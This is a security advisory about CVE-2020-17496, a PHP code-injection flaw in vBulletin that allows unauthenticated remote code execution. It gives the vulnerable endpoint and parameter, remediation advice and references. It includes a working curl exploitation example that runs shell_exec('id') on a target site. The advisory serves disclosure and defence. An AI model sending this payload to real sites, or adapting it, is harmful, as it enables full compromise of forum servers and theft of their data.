SB2020081101 - Remote code execution in vBulletin

Description

This security bulletin contains information about 1 vulnerability.

1) Code Injection (CVE-ID: CVE-2020-17496)

CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/U:Amber

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation when processing untrused input passed via the "subWidgets[0][config][code]" HTTP parameter to "/ajax/render/widget_tabbedcontainer_tab_panel" URL. A remote attacker can send a specially crafted request and execute arbitrary PHP code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Exploitation example:

curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("id"); exit;'

Remediation

Install update from vendor's website.

References

• https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch
• https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/